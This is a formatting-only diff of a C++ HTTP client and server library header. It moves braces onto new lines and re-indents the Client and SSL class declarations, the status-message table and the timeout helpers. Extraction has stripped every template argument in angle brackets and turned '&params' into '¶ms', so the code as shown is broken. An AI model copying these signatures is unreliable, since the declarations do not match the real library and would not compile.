&path); + Result Head(const std::string &path, const Headers &headers); - Result Post(const std::string &path); - Result Post(const std::string &path, const Headers &headers); - Result Post(const std::string &path, const char *body, size_t content_length, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, const char *body, - size_t content_length, const std::string &content_type); - Result Post(const std::string &path, const std::string &body, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); - Result Post(const std::string &path, size_t content_length, - ContentProvider content_provider, - const std::string &content_type); - Result Post(const std::string &path, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - size_t content_length, ContentProvider content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Headers &headers, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Post(const std::string &path, const Params ¶ms); - Result Post(const std::string &path, const Headers &headers, - const Params ¶ms); - Result Post(const std::string &path, const MultipartFormDataItems &items); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, const std::string &boundary); - Result Post(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items); + Result Post(const std::string &path); + Result Post(const std::string &path, const Headers &headers); + Result Post(const std::string &path, const char *body, size_t content_length, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, const char *body, + size_t content_length, const std::string &content_type); + Result Post(const std::string &path, const std::string &body, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); + Result Post(const std::string &path, size_t content_length, + ContentProvider content_provider, + const std::string &content_type); + Result Post(const std::string &path, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + size_t content_length, ContentProvider content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Headers &headers, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Post(const std::string &path, const Params ¶ms); + Result Post(const std::string &path, const Headers &headers, + const Params ¶ms); + Result Post(const std::string &path, const MultipartFormDataItems &items); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, const std::string &boundary); + Result Post(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items); - Result Put(const std::string &path); - Result Put(const std::string &path, const char *body, size_t content_length, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, const char *body, - size_t content_length, const std::string &content_type); - Result Put(const std::string &path, const std::string &body, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); - Result Put(const std::string &path, size_t content_length, - ContentProvider content_provider, const std::string &content_type); - Result Put(const std::string &path, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - size_t content_length, ContentProvider content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Headers &headers, - ContentProviderWithoutLength content_provider, - const std::string &content_type); - Result Put(const std::string &path, const Params ¶ms); - Result Put(const std::string &path, const Headers &headers, - const Params ¶ms); - Result Put(const std::string &path, const MultipartFormDataItems &items); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, const std::string &boundary); - Result Put(const std::string &path, const Headers &headers, - const MultipartFormDataItems &items, - const MultipartFormDataProviderItems &provider_items); - - Result Patch(const std::string &path); - Result Patch(const std::string &path, const char *body, size_t content_length, + Result Put(const std::string &path); + Result Put(const std::string &path, const char *body, size_t content_length, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, - const char *body, size_t content_length, + Result Put(const std::string &path, const Headers &headers, const char *body, + size_t content_length, const std::string &content_type); + Result Put(const std::string &path, const std::string &body, const std::string &content_type); - Result Patch(const std::string &path, const std::string &body, - const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, const std::string &body, const std::string &content_type); - Result Patch(const std::string &path, size_t content_length, - ContentProvider content_provider, - const std::string &content_type); - Result Patch(const std::string &path, + Result Put(const std::string &path, size_t content_length, + ContentProvider content_provider, const std::string &content_type); + Result Put(const std::string &path, ContentProviderWithoutLength content_provider, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, size_t content_length, ContentProvider content_provider, const std::string &content_type); - Result Patch(const std::string &path, const Headers &headers, + Result Put(const std::string &path, const Headers &headers, ContentProviderWithoutLength content_provider, const std::string &content_type); + Result Put(const std::string &path, const Params ¶ms); + Result Put(const std::string &path, const Headers &headers, + const Params ¶ms); + Result Put(const std::string &path, const MultipartFormDataItems &items); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, const std::string &boundary); + Result Put(const std::string &path, const Headers &headers, + const MultipartFormDataItems &items, + const MultipartFormDataProviderItems &provider_items); - Result Delete(const std::string &path); - Result Delete(const std::string &path, const Headers &headers); - Result Delete(const std::string &path, const char *body, - size_t content_length, const std::string &content_type); - Result Delete(const std::string &path, const Headers &headers, - const char *body, size_t content_length, - const std::string &content_type); - Result Delete(const std::string &path, const std::string &body, - const std::string &content_type); - Result Delete(const std::string &path, const Headers &headers, - const std::string &body, const std::string &content_type); + Result Patch(const std::string &path); + Result Patch(const std::string &path, const char *body, size_t content_length, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + const char *body, size_t content_length, + const std::string &content_type); + Result Patch(const std::string &path, const std::string &body, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); + Result Patch(const std::string &path, size_t content_length, + ContentProvider content_provider, + const std::string &content_type); + Result Patch(const std::string &path, + ContentProviderWithoutLength content_provider, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + size_t content_length, ContentProvider content_provider, + const std::string &content_type); + Result Patch(const std::string &path, const Headers &headers, + ContentProviderWithoutLength content_provider, + const std::string &content_type); - Result Options(const std::string &path); - Result Options(const std::string &path, const Headers &headers); + Result Delete(const std::string &path); + Result Delete(const std::string &path, const Headers &headers); + Result Delete(const std::string &path, const char *body, + size_t content_length, const std::string &content_type); + Result Delete(const std::string &path, const Headers &headers, + const char *body, size_t content_length, + const std::string &content_type); + Result Delete(const std::string &path, const std::string &body, + const std::string &content_type); + Result Delete(const std::string &path, const Headers &headers, + const std::string &body, const std::string &content_type); - bool send(Request &req, Response &res, Error &error); - Result send(const Request &req); + Result Options(const std::string &path); + Result Options(const std::string &path, const Headers &headers); - void stop(); + bool send(Request &req, Response &res, Error &error); + Result send(const Request &req); - std::string host() const; - int port() const; + void stop(); - size_t is_socket_open() const; - socket_t socket() const; + std::string host() const; + int port() const; - void set_hostname_addr_map(std::map addr_map); + size_t is_socket_open() const; + socket_t socket() const; - void set_default_headers(Headers headers); + void set_hostname_addr_map(std::map addr_map); - void - set_header_writer(std::function const &writer); + void set_default_headers(Headers headers); - void set_address_family(int family); - void set_tcp_nodelay(bool on); - void set_socket_options(SocketOptions socket_options); + void + set_header_writer(std::function const &writer); - void set_connection_timeout(time_t sec, time_t usec = 0); - template - void - set_connection_timeout(const std::chrono::duration &duration); + void set_address_family(int family); + void set_tcp_nodelay(bool on); + void set_socket_options(SocketOptions socket_options); - void set_read_timeout(time_t sec, time_t usec = 0); - template - void set_read_timeout(const std::chrono::duration &duration); + void set_connection_timeout(time_t sec, time_t usec = 0); + template + void + set_connection_timeout(const std::chrono::duration &duration); - void set_write_timeout(time_t sec, time_t usec = 0); - template - void set_write_timeout(const std::chrono::duration &duration); + void set_read_timeout(time_t sec, time_t usec = 0); + template + void set_read_timeout(const std::chrono::duration &duration); - void set_basic_auth(const std::string &username, const std::string &password); - void set_bearer_token_auth(const std::string &token); + void set_write_timeout(time_t sec, time_t usec = 0); + template + void set_write_timeout(const std::chrono::duration &duration); + + void set_basic_auth(const std::string &username, const std::string &password); + void set_bearer_token_auth(const std::string &token); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_digest_auth(const std::string &username, - const std::string &password); + void set_digest_auth(const std::string &username, + const std::string &password); #endif - void set_keep_alive(bool on); - void set_follow_location(bool on); + void set_keep_alive(bool on); + void set_follow_location(bool on); - void set_url_encode(bool on); + void set_url_encode(bool on); - void set_compress(bool on); + void set_compress(bool on); - void set_decompress(bool on); + void set_decompress(bool on); - void set_interface(const std::string &intf); + void set_interface(const std::string &intf); - void set_proxy(const std::string &host, int port); - void set_proxy_basic_auth(const std::string &username, - const std::string &password); - void set_proxy_bearer_token_auth(const std::string &token); + void set_proxy(const std::string &host, int port); + void set_proxy_basic_auth(const std::string &username, + const std::string &password); + void set_proxy_bearer_token_auth(const std::string &token); #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_proxy_digest_auth(const std::string &username, - const std::string &password); + void set_proxy_digest_auth(const std::string &username, + const std::string &password); #endif #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void enable_server_certificate_verification(bool enabled); + void enable_server_certificate_verification(bool enabled); #endif - void set_logger(Logger logger); + void set_logger(Logger logger); - // SSL + // SSL #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - void set_ca_cert_path(const std::string &ca_cert_file_path, - const std::string &ca_cert_dir_path = std::string()); + void set_ca_cert_path(const std::string &ca_cert_file_path, + const std::string &ca_cert_dir_path = std::string()); - void set_ca_cert_store(X509_STORE *ca_cert_store); - void load_ca_cert_store(const char *ca_cert, std::size_t size); + void set_ca_cert_store(X509_STORE *ca_cert_store); + void load_ca_cert_store(const char *ca_cert, std::size_t size); - long get_openssl_verify_result() const; + long get_openssl_verify_result() const; - SSL_CTX *ssl_context() const; + SSL_CTX *ssl_context() const; #endif private: - std::unique_ptr cli_; + std::unique_ptr cli_; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - bool is_ssl_ = false; + bool is_ssl_ = false; #endif }; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -class SSLServer : public Server { +class SSLServer : public Server +{ public: - SSLServer(const char *cert_path, const char *private_key_path, - const char *client_ca_cert_file_path = nullptr, - const char *client_ca_cert_dir_path = nullptr, - const char *private_key_password = nullptr); + SSLServer(const char *cert_path, const char *private_key_path, + const char *client_ca_cert_file_path = nullptr, + const char *client_ca_cert_dir_path = nullptr, + const char *private_key_password = nullptr); - SSLServer(X509 *cert, EVP_PKEY *private_key, - X509_STORE *client_ca_cert_store = nullptr); + SSLServer(X509 *cert, EVP_PKEY *private_key, + X509_STORE *client_ca_cert_store = nullptr); - SSLServer( - const std::function &setup_ssl_ctx_callback); + SSLServer( + const std::function &setup_ssl_ctx_callback); - ~SSLServer() override; + ~SSLServer() override; - bool is_valid() const override; + bool is_valid() const override; - SSL_CTX *ssl_context() const; + SSL_CTX *ssl_context() const; private: - bool process_and_close_socket(socket_t sock) override; + bool process_and_close_socket(socket_t sock) override; - SSL_CTX *ctx_; - std::mutex ctx_mutex_; + SSL_CTX *ctx_; + std::mutex ctx_mutex_; }; -class SSLClient : public ClientImpl { +class SSLClient : public ClientImpl +{ public: - explicit SSLClient(const std::string &host); + explicit SSLClient(const std::string &host); - explicit SSLClient(const std::string &host, int port); + explicit SSLClient(const std::string &host, int port); - explicit SSLClient(const std::string &host, int port, - const std::string &client_cert_path, - const std::string &client_key_path); + explicit SSLClient(const std::string &host, int port, + const std::string &client_cert_path, + const std::string &client_key_path); - explicit SSLClient(const std::string &host, int port, X509 *client_cert, - EVP_PKEY *client_key); + explicit SSLClient(const std::string &host, int port, X509 *client_cert, + EVP_PKEY *client_key); - ~SSLClient() override; + ~SSLClient() override; - bool is_valid() const override; + bool is_valid() const override; - void set_ca_cert_store(X509_STORE *ca_cert_store); - void load_ca_cert_store(const char *ca_cert, std::size_t size); + void set_ca_cert_store(X509_STORE *ca_cert_store); + void load_ca_cert_store(const char *ca_cert, std::size_t size); - long get_openssl_verify_result() const; + long get_openssl_verify_result() const; - SSL_CTX *ssl_context() const; + SSL_CTX *ssl_context() const; private: - bool create_and_connect_socket(Socket &socket, Error &error) override; - void shutdown_ssl(Socket &socket, bool shutdown_gracefully) override; - void shutdown_ssl_impl(Socket &socket, bool shutdown_gracefully); + bool create_and_connect_socket(Socket &socket, Error &error) override; + void shutdown_ssl(Socket &socket, bool shutdown_gracefully) override; + void shutdown_ssl_impl(Socket &socket, bool shutdown_gracefully); - bool process_socket(const Socket &socket, - std::function callback) override; - bool is_ssl() const override; + bool process_socket(const Socket &socket, + std::function callback) override; + bool is_ssl() const override; - bool connect_with_proxy(Socket &sock, Response &res, bool &success, - Error &error); - bool initialize_ssl(Socket &socket, Error &error); + bool connect_with_proxy(Socket &sock, Response &res, bool &success, + Error &error); + bool initialize_ssl(Socket &socket, Error &error); - bool load_certs(); + bool load_certs(); - bool verify_host(X509 *server_cert) const; - bool verify_host_with_subject_alt_name(X509 *server_cert) const; - bool verify_host_with_common_name(X509 *server_cert) const; - bool check_host_name(const char *pattern, size_t pattern_len) const; + bool verify_host(X509 *server_cert) const; + bool verify_host_with_subject_alt_name(X509 *server_cert) const; + bool verify_host_with_common_name(X509 *server_cert) const; + bool check_host_name(const char *pattern, size_t pattern_len) const; - SSL_CTX *ctx_; - std::mutex ctx_mutex_; - std::once_flag initialize_cert_; + SSL_CTX *ctx_; + std::mutex ctx_mutex_; + std::once_flag initialize_cert_; - std::vector host_components_; + std::vector host_components_; - long verify_result_ = 0; + long verify_result_ = 0; - friend class ClientImpl; + friend class ClientImpl; }; #endif @@ -1789,256 +1860,360 @@ private: * Implementation of template methods. */ -namespace detail { +namespace detail +{ template -inline void duration_to_sec_and_usec(const T &duration, U callback) { - auto sec = std::chrono::duration_cast(duration).count(); - auto usec = std::chrono::duration_cast( - duration - std::chrono::seconds(sec)) - .count(); - callback(static_cast(sec), static_cast(usec)); +inline void duration_to_sec_and_usec(const T &duration, U callback) +{ + auto sec = std::chrono::duration_cast(duration).count(); + auto usec = std::chrono::duration_cast( + duration - std::chrono::seconds(sec)) + .count(); + callback(static_cast(sec), static_cast(usec)); } inline uint64_t get_header_value_u64(const Headers &headers, const std::string &key, size_t id, - uint64_t def) { - auto rng = headers.equal_range(key); - auto it = rng.first; - std::advance(it, static_cast(id)); - if (it != rng.second) { - return std::strtoull(it->second.data(), nullptr, 10); - } - return def; + uint64_t def) +{ + auto rng = headers.equal_range(key); + auto it = rng.first; + std::advance(it, static_cast(id)); + if (it != rng.second) { + return std::strtoull(it->second.data(), nullptr, 10); + } + return def; } } // namespace detail inline uint64_t Request::get_header_value_u64(const std::string &key, - size_t id) const { - return detail::get_header_value_u64(headers, key, id, 0); + size_t id) const +{ + return detail::get_header_value_u64(headers, key, id, 0); } inline uint64_t Response::get_header_value_u64(const std::string &key, - size_t id) const { - return detail::get_header_value_u64(headers, key, id, 0); + size_t id) const +{ + return detail::get_header_value_u64(headers, key, id, 0); } template -inline ssize_t Stream::write_format(const char *fmt, const Args &...args) { - const auto bufsiz = 2048; - std::array buf{}; +inline ssize_t Stream::write_format(const char *fmt, const Args &...args) +{ + const auto bufsiz = 2048; + std::array buf{}; - auto sn = snprintf(buf.data(), buf.size() - 1, fmt, args...); - if (sn <= 0) { return sn; } - - auto n = static_cast(sn); - - if (n >= buf.size() - 1) { - std::vector glowable_buf(buf.size()); - - while (n >= glowable_buf.size() - 1) { - glowable_buf.resize(glowable_buf.size() * 2); - n = static_cast( - snprintf(&glowable_buf[0], glowable_buf.size() - 1, fmt, args...)); + auto sn = snprintf(buf.data(), buf.size() - 1, fmt, args...); + if (sn <= 0) { + return sn; + } + + auto n = static_cast(sn); + + if (n >= buf.size() - 1) { + std::vector glowable_buf(buf.size()); + + while (n >= glowable_buf.size() - 1) { + glowable_buf.resize(glowable_buf.size() * 2); + n = static_cast( + snprintf(&glowable_buf[0], glowable_buf.size() - 1, fmt, args...)); + } + return write(&glowable_buf[0], n); + } else { + return write(buf.data(), n); } - return write(&glowable_buf[0], n); - } else { - return write(buf.data(), n); - } } -inline void default_socket_options(socket_t sock) { - int yes = 1; +inline void default_socket_options(socket_t sock) +{ + int yes = 1; #ifdef _WIN32 - setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, - reinterpret_cast(&yes), sizeof(yes)); - setsockopt(sock, SOL_SOCKET, SO_EXCLUSIVEADDRUSE, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, + reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, SOL_SOCKET, SO_EXCLUSIVEADDRUSE, + reinterpret_cast(&yes), sizeof(yes)); #else #ifdef SO_REUSEPORT - setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, + reinterpret_cast(&yes), sizeof(yes)); #else - setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, + reinterpret_cast(&yes), sizeof(yes)); #endif #endif } -inline const char *status_message(int status) { - switch (status) { - case StatusCode::Continue_100: return "Continue"; - case StatusCode::SwitchingProtocol_101: return "Switching Protocol"; - case StatusCode::Processing_102: return "Processing"; - case StatusCode::EarlyHints_103: return "Early Hints"; - case StatusCode::OK_200: return "OK"; - case StatusCode::Created_201: return "Created"; - case StatusCode::Accepted_202: return "Accepted"; - case StatusCode::NonAuthoritativeInformation_203: - return "Non-Authoritative Information"; - case StatusCode::NoContent_204: return "No Content"; - case StatusCode::ResetContent_205: return "Reset Content"; - case StatusCode::PartialContent_206: return "Partial Content"; - case StatusCode::MultiStatus_207: return "Multi-Status"; - case StatusCode::AlreadyReported_208: return "Already Reported"; - case StatusCode::IMUsed_226: return "IM Used"; - case StatusCode::MultipleChoices_300: return "Multiple Choices"; - case StatusCode::MovedPermanently_301: return "Moved Permanently"; - case StatusCode::Found_302: return "Found"; - case StatusCode::SeeOther_303: return "See Other"; - case StatusCode::NotModified_304: return "Not Modified"; - case StatusCode::UseProxy_305: return "Use Proxy"; - case StatusCode::unused_306: return "unused"; - case StatusCode::TemporaryRedirect_307: return "Temporary Redirect"; - case StatusCode::PermanentRedirect_308: return "Permanent Redirect"; - case StatusCode::BadRequest_400: return "Bad Request"; - case StatusCode::Unauthorized_401: return "Unauthorized"; - case StatusCode::PaymentRequired_402: return "Payment Required"; - case StatusCode::Forbidden_403: return "Forbidden"; - case StatusCode::NotFound_404: return "Not Found"; - case StatusCode::MethodNotAllowed_405: return "Method Not Allowed"; - case StatusCode::NotAcceptable_406: return "Not Acceptable"; - case StatusCode::ProxyAuthenticationRequired_407: - return "Proxy Authentication Required"; - case StatusCode::RequestTimeout_408: return "Request Timeout"; - case StatusCode::Conflict_409: return "Conflict"; - case StatusCode::Gone_410: return "Gone"; - case StatusCode::LengthRequired_411: return "Length Required"; - case StatusCode::PreconditionFailed_412: return "Precondition Failed"; - case StatusCode::PayloadTooLarge_413: return "Payload Too Large"; - case StatusCode::UriTooLong_414: return "URI Too Long"; - case StatusCode::UnsupportedMediaType_415: return "Unsupported Media Type"; - case StatusCode::RangeNotSatisfiable_416: return "Range Not Satisfiable"; - case StatusCode::ExpectationFailed_417: return "Expectation Failed"; - case StatusCode::ImATeapot_418: return "I'm a teapot"; - case StatusCode::MisdirectedRequest_421: return "Misdirected Request"; - case StatusCode::UnprocessableContent_422: return "Unprocessable Content"; - case StatusCode::Locked_423: return "Locked"; - case StatusCode::FailedDependency_424: return "Failed Dependency"; - case StatusCode::TooEarly_425: return "Too Early"; - case StatusCode::UpgradeRequired_426: return "Upgrade Required"; - case StatusCode::PreconditionRequired_428: return "Precondition Required"; - case StatusCode::TooManyRequests_429: return "Too Many Requests"; - case StatusCode::RequestHeaderFieldsTooLarge_431: - return "Request Header Fields Too Large"; - case StatusCode::UnavailableForLegalReasons_451: - return "Unavailable For Legal Reasons"; - case StatusCode::NotImplemented_501: return "Not Implemented"; - case StatusCode::BadGateway_502: return "Bad Gateway"; - case StatusCode::ServiceUnavailable_503: return "Service Unavailable"; - case StatusCode::GatewayTimeout_504: return "Gateway Timeout"; - case StatusCode::HttpVersionNotSupported_505: - return "HTTP Version Not Supported"; - case StatusCode::VariantAlsoNegotiates_506: return "Variant Also Negotiates"; - case StatusCode::InsufficientStorage_507: return "Insufficient Storage"; - case StatusCode::LoopDetected_508: return "Loop Detected"; - case StatusCode::NotExtended_510: return "Not Extended"; - case StatusCode::NetworkAuthenticationRequired_511: - return "Network Authentication Required"; +inline const char *status_message(int status) +{ + switch (status) { + case StatusCode::Continue_100: + return "Continue"; + case StatusCode::SwitchingProtocol_101: + return "Switching Protocol"; + case StatusCode::Processing_102: + return "Processing"; + case StatusCode::EarlyHints_103: + return "Early Hints"; + case StatusCode::OK_200: + return "OK"; + case StatusCode::Created_201: + return "Created"; + case StatusCode::Accepted_202: + return "Accepted"; + case StatusCode::NonAuthoritativeInformation_203: + return "Non-Authoritative Information"; + case StatusCode::NoContent_204: + return "No Content"; + case StatusCode::ResetContent_205: + return "Reset Content"; + case StatusCode::PartialContent_206: + return "Partial Content"; + case StatusCode::MultiStatus_207: + return "Multi-Status"; + case StatusCode::AlreadyReported_208: + return "Already Reported"; + case StatusCode::IMUsed_226: + return "IM Used"; + case StatusCode::MultipleChoices_300: + return "Multiple Choices"; + case StatusCode::MovedPermanently_301: + return "Moved Permanently"; + case StatusCode::Found_302: + return "Found"; + case StatusCode::SeeOther_303: + return "See Other"; + case StatusCode::NotModified_304: + return "Not Modified"; + case StatusCode::UseProxy_305: + return "Use Proxy"; + case StatusCode::unused_306: + return "unused"; + case StatusCode::TemporaryRedirect_307: + return "Temporary Redirect"; + case StatusCode::PermanentRedirect_308: + return "Permanent Redirect"; + case StatusCode::BadRequest_400: + return "Bad Request"; + case StatusCode::Unauthorized_401: + return "Unauthorized"; + case StatusCode::PaymentRequired_402: + return "Payment Required"; + case StatusCode::Forbidden_403: + return "Forbidden"; + case StatusCode::NotFound_404: + return "Not Found"; + case StatusCode::MethodNotAllowed_405: + return "Method Not Allowed"; + case StatusCode::NotAcceptable_406: + return "Not Acceptable"; + case StatusCode::ProxyAuthenticationRequired_407: + return "Proxy Authentication Required"; + case StatusCode::RequestTimeout_408: + return "Request Timeout"; + case StatusCode::Conflict_409: + return "Conflict"; + case StatusCode::Gone_410: + return "Gone"; + case StatusCode::LengthRequired_411: + return "Length Required"; + case StatusCode::PreconditionFailed_412: + return "Precondition Failed"; + case StatusCode::PayloadTooLarge_413: + return "Payload Too Large"; + case StatusCode::UriTooLong_414: + return "URI Too Long"; + case StatusCode::UnsupportedMediaType_415: + return "Unsupported Media Type"; + case StatusCode::RangeNotSatisfiable_416: + return "Range Not Satisfiable"; + case StatusCode::ExpectationFailed_417: + return "Expectation Failed"; + case StatusCode::ImATeapot_418: + return "I'm a teapot"; + case StatusCode::MisdirectedRequest_421: + return "Misdirected Request"; + case StatusCode::UnprocessableContent_422: + return "Unprocessable Content"; + case StatusCode::Locked_423: + return "Locked"; + case StatusCode::FailedDependency_424: + return "Failed Dependency"; + case StatusCode::TooEarly_425: + return "Too Early"; + case StatusCode::UpgradeRequired_426: + return "Upgrade Required"; + case StatusCode::PreconditionRequired_428: + return "Precondition Required"; + case StatusCode::TooManyRequests_429: + return "Too Many Requests"; + case StatusCode::RequestHeaderFieldsTooLarge_431: + return "Request Header Fields Too Large"; + case StatusCode::UnavailableForLegalReasons_451: + return "Unavailable For Legal Reasons"; + case StatusCode::NotImplemented_501: + return "Not Implemented"; + case StatusCode::BadGateway_502: + return "Bad Gateway"; + case StatusCode::ServiceUnavailable_503: + return "Service Unavailable"; + case StatusCode::GatewayTimeout_504: + return "Gateway Timeout"; + case StatusCode::HttpVersionNotSupported_505: + return "HTTP Version Not Supported"; + case StatusCode::VariantAlsoNegotiates_506: + return "Variant Also Negotiates"; + case StatusCode::InsufficientStorage_507: + return "Insufficient Storage"; + case StatusCode::LoopDetected_508: + return "Loop Detected"; + case StatusCode::NotExtended_510: + return "Not Extended"; + case StatusCode::NetworkAuthenticationRequired_511: + return "Network Authentication Required"; - default: - case StatusCode::InternalServerError_500: return "Internal Server Error"; - } + default: + case StatusCode::InternalServerError_500: + return "Internal Server Error"; + } } template inline Server & -Server::set_read_timeout(const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_read_timeout(sec, usec); }); - return *this; +Server::set_read_timeout(const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_read_timeout(sec, usec); + }); + return *this; } template inline Server & -Server::set_write_timeout(const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_write_timeout(sec, usec); }); - return *this; +Server::set_write_timeout(const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_write_timeout(sec, usec); + }); + return *this; } template inline Server & -Server::set_idle_interval(const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_idle_interval(sec, usec); }); - return *this; +Server::set_idle_interval(const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_idle_interval(sec, usec); + }); + return *this; } -inline std::string to_string(const Error error) { - switch (error) { - case Error::Success: return "Success (no error)"; - case Error::Connection: return "Could not establish connection"; - case Error::BindIPAddress: return "Failed to bind IP address"; - case Error::Read: return "Failed to read connection"; - case Error::Write: return "Failed to write connection"; - case Error::ExceedRedirectCount: return "Maximum redirect count exceeded"; - case Error::Canceled: return "Connection handling canceled"; - case Error::SSLConnection: return "SSL connection failed"; - case Error::SSLLoadingCerts: return "SSL certificate loading failed"; - case Error::SSLServerVerification: return "SSL server verification failed"; - case Error::UnsupportedMultipartBoundaryChars: - return "Unsupported HTTP multipart boundary characters"; - case Error::Compression: return "Compression failed"; - case Error::ConnectionTimeout: return "Connection timed out"; - case Error::ProxyConnection: return "Proxy connection failed"; - case Error::Unknown: return "Unknown"; - default: break; - } +inline std::string to_string(const Error error) +{ + switch (error) { + case Error::Success: + return "Success (no error)"; + case Error::Connection: + return "Could not establish connection"; + case Error::BindIPAddress: + return "Failed to bind IP address"; + case Error::Read: + return "Failed to read connection"; + case Error::Write: + return "Failed to write connection"; + case Error::ExceedRedirectCount: + return "Maximum redirect count exceeded"; + case Error::Canceled: + return "Connection handling canceled"; + case Error::SSLConnection: + return "SSL connection failed"; + case Error::SSLLoadingCerts: + return "SSL certificate loading failed"; + case Error::SSLServerVerification: + return "SSL server verification failed"; + case Error::UnsupportedMultipartBoundaryChars: + return "Unsupported HTTP multipart boundary characters"; + case Error::Compression: + return "Compression failed"; + case Error::ConnectionTimeout: + return "Connection timed out"; + case Error::ProxyConnection: + return "Proxy connection failed"; + case Error::Unknown: + return "Unknown"; + default: + break; + } - return "Invalid"; + return "Invalid"; } -inline std::ostream &operator<<(std::ostream &os, const Error &obj) { - os << to_string(obj); - os << " (" << static_cast::type>(obj) << ')'; - return os; +inline std::ostream &operator<<(std::ostream &os, const Error &obj) +{ + os << to_string(obj); + os << " (" << static_cast::type>(obj) << ')'; + return os; } inline uint64_t Result::get_request_header_value_u64(const std::string &key, - size_t id) const { - return detail::get_header_value_u64(request_headers_, key, id, 0); + size_t id) const +{ + return detail::get_header_value_u64(request_headers_, key, id, 0); } template inline void ClientImpl::set_connection_timeout( - const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec(duration, [&](time_t sec, time_t usec) { - set_connection_timeout(sec, usec); - }); + const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec(duration, [&](time_t sec, time_t usec) { + set_connection_timeout(sec, usec); + }); } template inline void ClientImpl::set_read_timeout( - const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_read_timeout(sec, usec); }); + const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_read_timeout(sec, usec); + }); } template inline void ClientImpl::set_write_timeout( - const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_write_timeout(sec, usec); }); + const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_write_timeout(sec, usec); + }); } template inline void Client::set_connection_timeout( - const std::chrono::duration &duration) { - cli_->set_connection_timeout(duration); + const std::chrono::duration &duration) +{ + cli_->set_connection_timeout(duration); } template inline void -Client::set_read_timeout(const std::chrono::duration &duration) { - cli_->set_read_timeout(duration); +Client::set_read_timeout(const std::chrono::duration &duration) +{ + cli_->set_read_timeout(duration); } template inline void -Client::set_write_timeout(const std::chrono::duration &duration) { - cli_->set_write_timeout(duration); +Client::set_write_timeout(const std::chrono::duration &duration) +{ + cli_->set_write_timeout(duration); } /* @@ -2059,7 +2234,8 @@ make_basic_authentication_header(const std::string &username, const std::string &password, bool is_proxy = false); -namespace detail { +namespace detail +{ std::string encode_query_param(const std::string &value); @@ -2109,155 +2285,165 @@ enum class EncodingType { None = 0, Gzip, Brotli }; EncodingType encoding_type(const Request &req, const Response &res); -class BufferStream : public Stream { +class BufferStream : public Stream +{ public: - BufferStream() = default; - ~BufferStream() override = default; + BufferStream() = default; + ~BufferStream() override = default; - bool is_readable() const override; - bool is_writable() const override; - ssize_t read(char *ptr, size_t size) override; - ssize_t write(const char *ptr, size_t size) override; - void get_remote_ip_and_port(std::string &ip, int &port) const override; - void get_local_ip_and_port(std::string &ip, int &port) const override; - socket_t socket() const override; + 